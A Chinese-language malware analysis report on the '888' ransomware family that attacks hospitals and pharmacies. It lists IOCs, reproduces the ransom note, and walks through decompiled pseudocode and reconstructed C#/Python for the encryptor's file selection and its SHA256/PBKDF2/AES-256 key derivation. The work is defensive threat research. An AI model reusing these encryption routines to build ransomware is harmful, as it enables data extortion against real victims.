【病毒分析】888勒索家族再出手!幕后加密器深度剖析

1.背景 2025年3月,Solar应急响应团队成功捕获了888勒索家族的加密器样本。实际上,我们最早接触该家族是在2024年10月,彼时888家族活跃度极高,频繁针对医疗行业发起攻击,受害对象以药店、医...

1.背景

2025年3月,Solar应急响应团队成功捕获了888勒索家族的加密器样本。实际上,我们最早接触该家族是在2024年10月,彼时888家族活跃度极高,频繁针对医疗行业发起攻击,受害对象以药店、医院等医疗机构为主。

在攻击方式上,888家族主要通过MSSQL数据库弱口令爆破实现初始入侵,成功获取权限后,将自制的加密器投放至服务器路径中的Music\misc目录,以隐藏其恶意文件,随后迅速对服务器内的重要数据实施加密勒索。

1.1 加密器特征

该勒索家族较为狡猾,通过ping空地址绕过本地安全机制监测最终实现自删除。

1.png

加密器启动后运行的命令行指令

在成功加密后,桌面上会生成名为“!RESTORE_FILES!.txt”的勒索信,要求受害者将信内ID发到下方的邮箱中,以取得初步联系获得赎金报价。

2.png
勒索信

3.png
被加密后的目录

1.2 攻击链路与IOC

888勒索家族惯用的手段是通过数据库对外暴露入口弱口令入侵数据库,并在数据执行提权操作,获取高权限账户或将木马加载到受害者设备,随后再进行加密器的加载运行。

4.png

1.3 IOC

详细信息 类型 关联文件/主机/备注
d15ab1e89fc94d9b4dff7cb5b8d392eca74a0a65 Sha1 netpass64.exe
7ab128659ad586761ea68009d59a1ccf1547a039 Sha1 netpass64.exe
8b0e4650f1a7080b78066a61152e571ca8b6816b Sha1 svchost.exe
86803bbc26ed08e863ab17c765577a74637afaa7 Sha1 svchost.exe
a0bdfac3ce1880b32ff9b696458327ce352e3b1d Sha1 processhacker.exe
729fd507a1118b2d9008a097b7330c52760ceb9e Sha1 processhacker.exe
31.43.176.57 IP 波兰
36.152.235.38 IP 中国 江苏省 徐州市
185.132.176.32 IP 荷兰 南荷兰省 纳尔德韦克
58.211.56.222 IP 中国 江苏省 苏州市
nemesis@888recover.4wrd.cc Mail_addr 勒索邮箱
nemesissupport@firemail.cc Mail_addr 勒索邮箱
!RESTORE_FILES!.txt File 勒索信文件名
.888 Suffix 勒索后缀名

2.恶意文件基础信息

2.1 恶意文件基本信息

文件名 svchost.exe
编译器 Microsoft Visual C/C++(19.36.33923)[C++]
大小 2.43 MB
操作系统 Windows(Vista)[AMD64, 64位, GUI]
模式 64 位
类型 EXEC
字节序 LE
MD5 5315bdbf85ad2b3bb13ae8ee62489f7f
SHA1 8b0e4650f1a7080b78066a61152e571ca8b6816b
SHA256 dee0fde2d096c79e138890f958b9440e87cce38504b654a97de50bb7969a9c98

2.2 勒索信

+——————————————————————————————————————+
| !!!ALL YOUR FILES ARE ENCRYPTED, AS A RESULT OF A BREACH IN SECURITY!!! |
+——————————————————————————————————————+

No worries - you can get them back!
It’s impossible to decrypt without contacting us.

+——————————————————————————————————————+
| !!!DON’T TRY TO CHANGE ENCRYPTED FILES!!! |
| !!!DON’T RENAME ENCRYPTED FILES!!! |
| !!!DON’T USE ADDITIONAL RECOVERY SOFTWARE!!! |
| !!!IT WILL MAKE THEM IMPOSSIBLE TO DECRYPT!!! |
+——————————————————————————————————————+

How to return all your data back in safe:

1. Copy and sent us your KEY.
2. We can decrypt 2 small files, no databases (.jpg, .txt, .doc, ets.. (up to 3mb)) as your warranty.
3. After payment, you will receive a special software for decryption.

-————————————————————————————————————————————————————————
KEY:
-————————————————————————————————————————————————————————

EMAILS:
nemesis@888recover.4wrd.cc
nemesissupport@firemail.cc

Zero cheats, all integrity.

3.加密后文件分析

3.1威胁分析

病毒家族 888
首次出现时间/捕获分析时间 2024/10/19 \ 2025/03/27
威胁类型 勒索软件,加密病毒
加密文件扩展名 .888
勒索信文件名 !RESTORE_FILES!.txt
有无免费解密器?
联系邮箱 nemesis@888recover.4wrd.cc
感染症状 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.888)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。
感染方式 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

文件名

sierting.txt

具体内容:

5.png

6.png

加密文件名特征:

加密文件名 = 原始文件名+888 ,例如:sierting.txt.888

加密文件数据特征:

7.png

加密算法:

AES密钥生成:

通过随机生成的两个guid来生成key和iv

程序执行流程:

8.png

4.逆向分析

4.1加密器逆向分析

勒索信密钥初始化

初始化了几个常量如下

5FC92AFFB28BE14BD3A8B1843E9F8E8BB394A50F7E3E599D0316E97D8B98BEDF
FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF
.888
AC11CD9E6DA7311B9804D8EB421DB7EFEC8ABB7EACC999CA64F3C7A99686E826
!RESTORE_FILES!.txt
9139F9BF04FB5ED3A8DF78E10110710C4134C2A37CBE912B6428B7FE19D22689
06FEECBAD923B75FA5B35A7A949C479AA67D838884BDA14963DC1903ACCD3E37
171C88018769B3D2B33D7065A162D3731ECEFB18A54054075A16614A468925B4
24AD21C4C3E2A430DF77EC0A190E2021976059732C696FADC61F62490E5EC202
B502B9C8546259BC27DAA82287C4ADA92A16B7A81665FAF9EFD20A4C3FD6233A
A9C3ED26735E74CC8939D5D7875BC9AEC04E5A91607BE48E6897CB7A96E1170D
45AB92864D45D54123C980CD245B31ED37A6EDDDF952A342CC5D9CB777B3942E

查找同路径下是否存在p.txt文件,如果有,则读取,并将读取到的内容进行sha256哈希计算之后再进行base64编码,然后再将此文件移动到C:\Windows\Temp\!wwwGdddf#.txt

__int64 __fastcall sub_7FF643B1AF70(__int64 a1, __int64 a2)
{
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax

if ( !(unsignedint)S_P_CoreLib_System_IO_File__Exists(a1) )
{
if ( (unsignedint)S_P_CoreLib_System_IO_File__Exists(a2) )
{
if ( *(&qword_7FF643BB5520 - 1) )
sub_7FF643A11806();
v6 = read_file(a2, *(_QWORD *)(qword_7FF643CDBB28 + 8));
v7 = sha256_base64(v6);
if ( v7 )
{
if ( *(_DWORD *)(v7 + 8) )
return v7;
}
}
return0i64;
}
if ( (unsignedint)S_P_CoreLib_System_IO_File__Exists(a2) )
S_P_CoreLib_System_IO_File__Delete(a2);
move_file(a1, a2, 0);
if ( *(&qword_7FF643BB5520 - 1) )
sub_7FF643A11806();
v4 = read_file(a2, *(_QWORD *)(qword_7FF643CDBB28 + 8));
v5 = sha256_base64(v4);
if ( !v5 || !*(_DWORD *)(v5 + 8) )
return0i64;
return v5;
}

用于测试的p.txt的内容为sdjfpisjpdfajspfas[pfpasjf计算后的结果为Yatspzm25UgfTLY0KDmz8Gi6SZVhA1tIk4HTqwpOBcs=

获取mac地址信息并转换为hex字符串

char **sub_7FF643B1C6C0()
{
char **v0; // rbx
__int64 NetworkInterfaces; // rsi
int v2; // edi
int v3; // ebp
__int64 *v4; // r14
__int64 v5; // r15
__int64 v6; // rcx
__int64 v7; // rax
int v8; // edx
__int64 v9; // rax
__int64 v11; // [rsp+28h] [rbp-40h] BYREF
__int64 v12; // [rsp+30h] [rbp-38h]

v11 = 0i64;
v12 = 0i64;
v0 = &off_7FF643B92330;
NetworkInterfaces = System_Net_NetworkInformation_System_Net_NetworkInformation_SystemNetworkInterface__GetNetworkInterfaces();
v2 = 0;
v3 = *(_DWORD *)(NetworkInterfaces + 8);
if ( v3 > 0 )
{
do
{
v4 = *(__int64 **)(NetworkInterfaces + 8i64 * (unsignedint)v2 + 16);
v5 = *v4;
if ( (*(unsignedint (__fastcall **)(__int64 *))(*v4 + 64))(v4) != 24
&& (*(unsignedint (__fastcall **)(__int64 *))(v5 + 48))(v4) == 1 )
{
v6 = *(_QWORD *)((*(__int64 (__fastcall **)(__int64 *))(v5 + 56))(v4) + 8);
if ( v6 )
{
v7 = v6 + 16;
v8 = *(_DWORD *)(v6 + 8);
}
else
{
v7 = 0i64;
v8 = 0;
}
v11 = v7;
LODWORD(v12) = v8;
v9 = S_P_CoreLib_System_Convert__ToHexString_1(&v11);
v0 = (char **)String__Concat_5(v0, v9);
}
++v2;
}
while ( v3 > v2 );
}
return v0;
}

获取计算机名称,截断字符串FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF的部分字节结果如下FC5A714EFBF1AE255D0071443A0D08FE,将其进行sha256计算之后再将刚刚获得的mac信息和计算机名称进行拼接,然后再计算sha256并编码为base64。最后得到如下结果 akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U=

__int64 sub_7FF643B1C0E0()
{
__int64 v0; // rbx
__int64 v1; // rsi
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax

v0 = get_mac();
v1 = get_computer_name();
if ( qword_7FF643BB56F0[-1] )
sub_7FF643A11BA6();
v2 = String__Substring_0(*(_QWORD *)(qword_7FF643CDBD68 + 16), 0i64, 32i64);
v3 = sha256_base64_0(v2, 16);
v4 = String__Concat_6(v0, v1, v3);
return sha256_base64_0(v4, 32);
}

首先将常量字符串FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF按照12个字符的顺序截取,首先是开头部分的FC5A714EFBF1,然后是AE255D007144,以此类推。最后再截取出末尾的字符3DBF。

接着再将前面计算得到的字符串akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U=用同样的方式计算。

__int64 __fastcall key_init(__int64 a1, unsigned int a2)
{
__int64 v4; // rdi
__int64 v5; // rdx
int v6; // ebp
int v7; // r14d
char **v8; // rax
__int64 v9; // rcx
__int64 v10; // rdx

v4 = RhpNewFast(&unk_7FF643BCDCA0);
RhpAssignRefAVLocation((unsigned __int64 *)(v4 + 8), *(_QWORD *)(qword_7FF643CDBE80 + 8));
v5 = 0i64;
v6 = *(_DWORD *)(a1 + 8);
if ( v6 > 0 )
{
do
{
v7 = v5 + a2;
if ( (int)(v5 + a2) > v6 )
{
v8 = String__Substring(a1, v5);
++*(_DWORD *)(v4 + 20);
v9 = *(_QWORD *)(v4 + 8);
v10 = *(unsignedint *)(v4 + 16);
if ( *(_DWORD *)(v9 + 8) <= (unsignedint)v10 )
{
LABEL_6:
S_P_CoreLib_System_Collections_Generic_List_1_System___Canon___AddWithResize(v4, v8);
goto LABEL_7;
}
}
else
{
v8 = (char **)String__Substring_0(a1, v5, a2);
++*(_DWORD *)(v4 + 20);
v9 = *(_QWORD *)(v4 + 8);
v10 = *(unsignedint *)(v4 + 16);
if ( *(_DWORD *)(v9 + 8) <= (unsignedint)v10 )
goto LABEL_6;
}
*(_DWORD *)(v4 + 16) = v10 + 1;
RhpAssignRefAVLocation((unsigned __int64 *)(v9 + 8 * v10 + 16), (unsigned __int64)v8);
LABEL_7:
v5 = (unsignedint)v7;
}
while ( v6 > v7 );
}
return v4;
}

最后通过如下方式计算出勒索信中显示的key:++2vAPZZAE255D007144akflLG7bFC5A714EFBF1P62WLtO53A0D08FE70B2nVbR+65Y5EDF3E6FA526XDpblwfcDE19F1F288111/U=3DBF

def split_string_by_segments(input_str,segment_length):
segments = []
for i in range(0, len(input_str) - 4, segment_length):
segment = input_str[i:i + segment_length]
segments.append(segment)

last_segment = input_str[-4:]
segments.append(last_segment)

return segments

str1 = “FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF”#常量字符串
result1 = split_string_by_segments(str1,12)
list1=[]
for i, seg in enumerate(result1):
list1.append(seg)

str2 = “akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U=”#通过计算机信息计算出来的hash
result2 = split_string_by_segments(str2,8)
list2=[]
for i, seg in enumerate(result2):
list2.append(seg)
print(list2[1]+list1[1]+list2[0]+list1[0]+list2[2]+list1[2]+list2[4]+list1[4]+list2[3]+list1[3]+list2[5]+list1[5])

将通过mac和计算机名称计算得到的hash写入C:\Windows\Temp\!wwkdsfdsfewt.txt

__int64 __fastcall sub_7FF643AE6930(
__int64 a1,
const void *lpBuffer_1,
DWORD nNumberOfBytesToWrite_1,
DWORD *lpNumberOfBytesWritten_1,
struct _OVERLAPPED *lpOverlapped)
{
void *hFile_1; // r14
unsignedint v9; // ebx
DWORD LastError; // esi
_BYTE v12[44]; // [rsp+28h] [rbp-A0h] BYREF
LPDWORD lpNumberOfBytesWritten; // [rsp+54h] [rbp-74h]
LPCVOID lpBuffer; // [rsp+5Ch] [rbp-6Ch]
HANDLE hFile; // [rsp+64h] [rbp-64h]
DWORD nNumberOfBytesToWrite; // [rsp+6Ch] [rbp-5Ch]
DWORD *lpNumberOfBytesWritten_2; // [rsp+70h] [rbp-58h]
__int128 v18; // [rsp+78h] [rbp-50h] BYREF

v18 = 0i64;
*(_QWORD *)&v18 = a1;
S_P_CoreLib_System_Runtime_InteropServices_SafeHandle__DangerousAddRef(a1, (char *)&v18 + 8);
lpNumberOfBytesWritten_2 = lpNumberOfBytesWritten_1;
hFile_1 = *(void **)(v18 + 8);
SetLastError(0);
hFile = hFile_1;
lpBuffer = lpBuffer_1;
nNumberOfBytesToWrite = nNumberOfBytesToWrite_1;
lpNumberOfBytesWritten = lpNumberOfBytesWritten_1;
RhpPInvoke(v12);
v9 = WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
RhpPInvokeReturn(v12);
LastError = GetLastError();
lpNumberOfBytesWritten_2 = 0i64;
if ( BYTE8(v18) )
S_P_CoreLib_System_Runtime_InteropServices_SafeHandle__InternalRelease(v18, 0i64);
*(_DWORD *)(_GetThreadStaticBase_S_P_CoreLib_Internal_Runtime_ThreadStatics_9() + 168) = LastError;
return v9;
}

sha256_base64函数

对输入的字符串进行sha256哈希,然后根据输入的a2参数进行截断,最后将截断后的字符串进行base64编码

__int64 __fastcall sha256_base64_0(__int64 a1, unsigned int a2)
{
__int64 Bytes; // rsi
__int64 v5; // rdi
__int64 v6; // rsi
__int64 v7; // rdi
__int64 v8; // rbx
__int64 v10; // [rsp+20h] [rbp-28h]

if ( *(&qword_7FF643BB5520 - 1) )
sub_7FF643A11806();
Bytes = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetBytes(*(_QWORD *)(qword_7FF643CDBB28 + 8), a1);
v5 = RhpNewFast(&unk_7FF643BC7D88);
System_Security_Cryptography_System_Security_Cryptography_SHA256Managed___ctor(v5);
v10 = v5;
v6 = sub_7FF643AFB200(v5, Bytes);
v7 = RhpNewArray(&unk_7FF643BFE7C0, (int)a2);
S_P_CoreLib_System_Array__Copy_1(v6, v7, a2);
v8 = str_to_base64(v7);
unk_7FF643BB7AA0(v10);
return v8;
}

加密

遍历文件,并排除以下目录

9.png

对文件名进行判断

10.png

如果包含以下文件名,就跳过

!RESTORE_FILES!.txt
svchost.exe
bootmgr
bootmgr.efi
bootmgr.efi.mui
bootmgr.exe
bootmgr.exe.mui
img___XXX.jpg

接着判断后缀是否为.888,如果是,就跳过。

接着对进行计算并得到一个常量。

if ( v17 > 1 )
{
do
{
if ( v15 )
{
v18 = (char *)v15 + 12;
v19 = *((_DWORD *)v15 + 2);
}
else
{
v18 = 0i64;
v19 = 0;
}
LODWORD(v39) = *(unsigned __int16 *)(v14 + 2i64 * (unsignedint)v16 + 12);
S_P_CoreLib_System_Globalization_CultureInfo__get_CurrentCulture();
TextInfo = S_P_CoreLib_System_Globalization_CultureInfo__get_TextInfo();
HIDWORD(v39) = S_P_CoreLib_System_Globalization_TextInfo__ToLower(TextInfo, (unsignedint)v39);
*(_QWORD *)&v38 = v18;
DWORD2(v38) = v19;
*(_QWORD *)&v37 = (char *)&v39 + 4;
DWORD2(v37) = 1;
v15 = (char **)String__Concat_8(&v38, &v37);
v16 += 2;
}
while ( v17 > v16 );
}

计算方式如下

byte[] byteArray ={ 0x32, 0x00, 0x34, 0x00, 0x41, 0x00, 0x44, 0x00, 0x32, 0x00,
0x31, 0x00, 0x43, 0x00, 0x34, 0x00, 0x43, 0x00, 0x33, 0x00,
0x45, 0x00, 0x32, 0x00, 0x41, 0x00, 0x34, 0x00, 0x33, 0x00,
0x30, 0x00, 0x44, 0x00, 0x46, 0x00, 0x37, 0x00, 0x37, 0x00,
0x45, 0x00, 0x43, 0x00, 0x30, 0x00, 0x41, 0x00, 0x31, 0x00,
0x39, 0x00, 0x30, 0x00, 0x45, 0x00, 0x32, 0x00, 0x30, 0x00,
0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x37, 0x00, 0x36, 0x00,
0x30, 0x00, 0x35, 0x00, 0x39, 0x00, 0x37, 0x00, 0x33, 0x00,
0x32, 0x00, 0x43, 0x00, 0x36, 0x00, 0x39, 0x00, 0x36, 0x00,
0x46, 0x00, 0x41, 0x00, 0x44, 0x00, 0x43, 0x00, 0x36, 0x00,
0x31, 0x00, 0x46, 0x00, 0x36, 0x00, 0x32, 0x00, 0x34, 0x00,
0x39, 0x00, 0x30, 0x00, 0x45, 0x00, 0x35, 0x00, 0x45, 0x00,
0x43, 0x00, 0x32, 0x00, 0x30, 0x00, 0x32 };
string sum= “”;
for (int i = 1; i * 2 < byteArray.Length; i += 2)
{

sum+= (char)byteArray[i * 2];
}

接着再根据输入的文件名进行计算

v21 = (unsigned __int64 *)RhpNewArray(&qword_7FF643BFE520, 5i64);
v22 = String__Substring_0(v35, 0i64, 8i64);
RhpAssignRefAVLocation(v21 + 2, v22);
RhpAssignRefAVLocation(v21 + 3, name_no_ext);
RhpAssignRefAVLocation(v21 + 4, v12);
v23 = String__Substring(v35, (unsigned int)(*(_DWORD *)(v35 + 8) - 8));
RhpAssignRefAVLocation(v21 + 5, (unsigned __int64)v23);
RhpAssignRefAVLocation(v21 + 6, a2);
v24 = String__Concat_12((__int64)v21);
v25 = sha256_base64_0((__int64)v24, 8);
v26 = sha256_base64_0(name_no_ext, 16);
v27 = (unsigned __int64 *)RhpNewArray(&qword_7FF643BFE520, 5i64);
RhpAssignRefAVLocation(v27 + 2, v26);
v28 = String__Substring(*(_QWORD *)(v13 + 16), 32i64);
v29 = sha256_base64_0((__int64)v28, 32);
RhpAssignRefAVLocation(v27 + 3, v29);
RhpAssignRefAVLocation(v27 + 4, a2);
v30 = String__Substring(v35, (unsigned int)(*(_DWORD *)(v35 + 8) - 10));
RhpAssignRefAVLocation(v27 + 5, (unsigned __int64)v30);
RhpAssignRefAVLocation(v27 + 6, (unsigned __int64)v15);
v31 = String__Concat_12((__int64)v27);
v32 = sha256_base64_0((__int64)v31, 32);
return String__Concat_6(v32, &off_7FF643BAFBC0, v25);

首先计算v32,计算方法如

//Program.const_str是输入的密钥文件sha256加密后再使用base64编码后的结果
string filename = Path.GetFileNameWithoutExtension(Path.GetFileName(encryptedFilePath));
string name = Path.GetFileNameWithoutExtension(filename);
byte[] name_sha256 = ComputeTruncatedHash(sha256, name, 16);
string base_name = Convert.ToBase64String(name_sha256);
string concat_str0 = base_name + “kJxdORYN/Ls2XC9oCqio+0ZY63esndX7jYcy4GGrLrI=” + Program.const_str + “FE19D226894d143240f” + “7ca9e017093c9fd6f29ee22”;
byte[] concat_str0_sha256 = ComputeTruncatedHash(sha256, concat_str0, 32);
string base_concat_str0 = Convert.ToBase64String(concat_str0_sha256);

接下来计算v25,计算方法如下

string input = “9139F9BF” + name + “B33D7065A162D3731ECEFB18A540540719D22689” + Program.const_str;
byte[] hash = ComputeTruncatedHash(sha256, input, 8);
string input_hash = Convert.ToBase64String(hash);

然后通过||将这个两个计算出来的字符串拼接在一起

接着随机生成两个guid

guid1 = S_P_CoreLib_System_Guid__ToString_1((__int64)&v66 + 8, (__int64)&off_7FF643BAD1D0, 0i64, v16);
guid2 = S_P_CoreLib_System_Guid__ToString_1((__int64)&v65, (__int64)&off_7FF643BAD1D0, 0i64, v17);
v60 = sha256_base64_0(guid1, 32);
v59 = sha256_base64_0(guid2, 32);
v47 = sha256_base64_0(v13[11], 32);
v18 = sha256_base64_0(v13[11], 32);
v46 = String__Substring(v47, (unsigned int)(*(_DWORD *)(v18 + 8) - 12));
v19 = sha256_base64_0(v13[13], 32);
v20 = String__Substring_0(v19, 0i64, 16i64);
v58 = String__Concat_5(v46, v20);
v45 = sha256_base64_0(v13[13], 32);
v21 = sha256_base64_0(v13[11], 32);
v44 = String__Substring(v45, (unsigned int)(*(_DWORD *)(v21 + 8) - 12));
v22 = sha256_base64_0(v13[11], 32);
v23 = String__Substring_0(v22, 0i64, 16i64);
v57 = String__Concat_5(v44, v23);
v43 = sha256_base64_0(v13[13], 32);
v24 = sha256_base64_0(v13[11], 32);
v42 = String__Substring(v43, (unsigned int)(*(_DWORD *)(v24 + 8) - 16));
v41 = sha256_base64_0(FileNameFromPathBuffer, 16);
v25 = sha256_base64_0(v13[11], 32);
v40 = String__Substring_0(v25, 0i64, 12i64);
v26 = String__Substring(v13[9], (unsigned int)(*(_DWORD *)(v13[9] + 8) - 16));
v56 = String__Concat_7(v42, v41, v40, v26);
v39 = sha256_base64_0(v13[11], 32);
v27 = sha256_base64_0(v13[11], 32);
v38 = String__Substring(v39, (unsigned int)(*(_DWORD *)(v27 + 8) - 16));
v37 = sha256_base64_0(FileNameFromPathBuffer, 16);
v28 = sha256_base64_0(v13[13], 32);
v36 = String__Substring_0(v28, 0i64, 12i64);
v29 = String__Substring(v13[10], (unsigned int)(*(_DWORD *)(v13[10] + 8) - 12));
v48 = String__Concat_7(v38, v37, v36, v29);
v55 = sha256_base64(v58);
v54 = sha256_base64(v57);
v53 = sha256_base64(v56);
v52 = sha256_base64(v48);
v30 = String__Concat_6(*(_QWORD *)(v6 + 16), v60, v59);
v31 = sha256_base64(v30);

还原后的代码如下

//随机生成的guid,这里使用固定值进行测试
string guid1 = “c6d47a10-0cf3-4d5c-a500-267db6a41545”;
byte[] guid1_byte = ComputeTruncatedHash(sha256, guid1, 32);
string base_guid1_byte = Convert.ToBase64String(guid1_byte);
//随机生成的guid,这里使用固定值进行测试
string guid2 = “8184cff9-01c7-4f07-ac38-d80ed77d4b58”;
byte[] guid2_byte = ComputeTruncatedHash(sha256, guid2, 32);
string base_guid2_byte = Convert.ToBase64String(guid2_byte);
byte[] hex4_byte = ComputeTruncatedHash(sha256, hex4, 32);
string base_hex4_byte = Convert.ToBase64String(hex4_byte);
byte[] hex5_byte = ComputeTruncatedHash(sha256, hex5, 32);
string base_hex5_byte = Convert.ToBase64String(hex5_byte);
string hex5_hex4_cat = hex4_cat + base_hex5_byte.Substring(0, 16);
string base_hex5_cat = base_hex5_byte.Substring(base_concat_str0.Length - 12, 12);
string base_hex4_cat = base_hex4_byte.Substring(0, 16);
string concat5 = base_hex5_cat + base_hex4_cat;
//filename为文件名
byte[] filename_byte = ComputeTruncatedHash(sha256, filename, 16);
string base_filename_byte = Convert.ToBase64String(filename_byte);
string concat6 = “e9+zXBNtL8ALaRk=” + base_filename_byte + “IewroqVNVUV0” + “5A16614A468925B4”;
string concat7 = “D8NSVR1FARLvFrc=” + base_filename_byte + “Q9584Xb6oe9J” + “62490E5EC202”;
byte[] byte7 = ComputeTruncatedHash(sha256, “VR1FARLvFrc=Q9584Xb6oe9J5Vxk”, 32);
string base_byte7 = Convert.ToBase64String(byte7);
byte[] byte8 = ComputeTruncatedHash(sha256, “XBNtL8ALaRk=IewroqVNVUV0G/DZ”, 32);
string base_byte8 = Convert.ToBase64String(byte8);
byte[] filename_concat_byte_sha256 = ComputeTruncatedHash(sha256, concat6, 32);
string base_filename_concat_byte_sha256 = Convert.ToBase64String(filename_concat_byte_sha256);
byte[] filename_concat2_byte_sha256 = ComputeTruncatedHash(sha256, concat7, 32);
string base_filename_concat2_byte_sha256 = Convert.ToBase64String(filename_concat2_byte_sha256);
//上文通过mac信息和计算机名称计算得到的hash
string const_str = “akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U=”;
string concat_str = const_str + base_guid1_byte + base_guid2_byte;
byte[] concat_str_byte_sha256 = ComputeTruncatedHash(sha256, concat_str, 32);
string base_concat_str_byte_sha256 = Convert.ToBase64String(concat_str_byte_sha256);

然后再拼接生成salt和password

string password= base_concat_str_byte_sha256 + base_concat_str0;
string salt= input_hash+ base_guid2_byte;

通过salt和password生成key和iv,然后再将待加密的数据末尾添加上时间,接着使用aes对文件进行加密

v42 = String__Concat_5(file_ext, a5);
sub_7FF643ACBDA0(file_ext, v42, 0);
if ( *(&qword_7FF643BB5520 - 1) )
sub_7FF643A11806();
v31 = qword_7FF643CDBB28;
Bytes = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetBytes(*(_QWORD *)(qword_7FF643CDBB28 + 8), a3);
if ( a4 && *(_DWORD *)(a4 + 8) )
{
v40 = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetBytes(*(_QWORD *)(v31 + 8), a4);
}
else
{
v16 = RhpNewArray(&unk_7FF643BFE7C0, 16i64);
*(_OWORD *)(v16 + 16) = xmmword_7FF643C3FAA0;
v40 = v16;
}
v35 = sub_7FF643A13B30(&unk_7FF643BC2078);
S_P_CoreLib_System_IO_FileStream___ctor_13(v35, v42, 3, 3, 3, 4096, 0, 0i64);
v32 = RhpNewFast(&unk_7FF643BC73B0);
System_Security_Cryptography_System_Security_Cryptography_Aes___ctor();
(*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)v32 + 112i64))(v17, 256i64);
(*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)v32 + 64i64))(v32, 128i64);
if ( qword_7FF643BB56F0[-1] )
sub_7FF643A1132C();
v45 = qword_7FF643BB56F0[0];
v34 = RhpNewFast(&unk_7FF643BC7C70);
System_Security_Cryptography_System_Security_Cryptography_Rfc2898DeriveBytes___ctor_7(
v34,
Bytes,
v40,
v45,
(__int64)&off_7FF643BA93E0,
0);
v18 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v32 + 104i64))(v32);
v19 = System_Security_Cryptography_System_Security_Cryptography_Rfc2898DeriveBytes__GetBytes(
v34,
(unsignedint)(v18 / 8));
(*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)v32 + 96i64))(v32, v19);
v20 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v32 + 56i64))(v32);
v21 = System_Security_Cryptography_System_Security_Cryptography_Rfc2898DeriveBytes__GetBytes(
v34,
(unsignedint)(v20 / 8));
(*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)v32 + 80i64))(v32, v21);
v37 = sub_7FF643AF7900(v32);
v22 = S_P_CoreLib_System_IO_File__GetLastWriteTime(v42);
v23 = S_P_CoreLib_System_DateTimeFormat__Format_0(v22, &off_7FF643BAD360, 0i64, 0x8000000000000000ui64);
v36 = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetBytes(*(_QWORD *)(v31 + 8), v23);
sub_7FF643ACCEC0(v35, 0i64, 2i64);
v44 = *(_DWORD *)(v36 + 8);
if ( (*(unsignedint (__fastcall **)(_QWORD))(**(_QWORD **)(v35 + 16) + 240i64))(*(_QWORD *)(v35 + 16)) )
sub_7FF643A9D1D0();
(*(void (__fastcall **)(_QWORD, __int64, _QWORD, _QWORD))(**(_QWORD **)(v35 + 16) + 216i64))(
*(_QWORD *)(v35 + 16),
v36,
0i64,
v44);
sub_7FF643ACCEC0(v35, 0i64, 0i64);
v33 = RhpNewFast(&unk_7FF643BC7578);
sub_7FF643AF7EA0(v33, v35, v37, 1, 0);
v24 = RhpNewArray(&unk_7FF643BFE7C0, Enumerator);
v48 = 0i64;
while ( sub_7FF643ACCBB0(v35) > v48 )
{
v47 = sub_7FF643ACCC00(v35);
v43 = *(_DWORD *)(v24 + 8);
if ( (*(unsignedint (__fastcall **)(_QWORD))(**(_QWORD **)(v35 + 16) + 240i64))(*(_QWORD *)(v35 + 16)) )
sub_7FF643A9D1D0();
v46 = (*(__int64 (__fastcall **)(_QWORD, __int64, _QWORD, _QWORD))(**(_QWORD **)(v35 + 16) + 200i64))(
*(_QWORD *)(v35 + 16),
v24,
0i64,
v43);
v48 += v46;
sub_7FF643ACCC50(v35, v47);
System_Security_Cryptography_System_Security_Cryptography_CryptoStream__Write(v33, v24, 0, v46);
}

其中生成key和iv的方法如下,iterations和hashAlgorithm可以通过动态调式得到

int iterations = 50000;
using (var deriveBytes = new Rfc2898DeriveBytes(
password: passwordBytes,
salt: saltBytes,
iterations: iterations,
hashAlgorithm: HashAlgorithmName.SHA256))
{
byte[] key = deriveBytes.GetBytes(32); // AES-256密钥
byte[] iv = deriveBytes.GetBytes(16);

接着拼接字符串 Done||文件名,然后使用

string salt = “Ed5w7OB07XyYegT57in85K82oHdRSx0bLKOKDCCGGKI=”;
string password = “+7Qvnh2QKaffTK+NQYapC6DwoJGM1StCA/9R9fCdR6o=”;

生成密钥,接着对其进行aes加密,然后将生成的密文的长度转换为字符串,再用刚刚的密钥进行加密

11.png
接着再用相同的密钥对前面生成的guid1进行加密。

通过文件名生成密钥来对guid2进行加密

byte[] filename_byte = ComputeTruncatedHash(sha256, filename, 16);
string base_filename = Convert.ToBase64String(filename_byte);
string file_concat1 = “e9+zXBNtL8ALaRk=” + base_filename + “IewroqVNVUV0” + “5A16614A468925B4”;
byte[] guid2_password_byte = ComputeTruncatedHash(sha256, file_concat1, 32);
string guid2_password = Convert.ToBase64String(guid2_password_byte);
string file_concat2 = “D8NSVR1FARLvFrc=” + base_filename + “Q9584Xb6oe9J” + “62490E5EC202”;
byte[] guid2_salt_byte = ComputeTruncatedHash(sha256, file_concat2, 32);
string guid2_salt = Convert.ToBase64String(guid2_salt_byte);

最后再加密字符串encr,密钥跟加密文件的密钥相同

创建勒索信快捷方式

在网络位置处创建勒索信的快捷方式

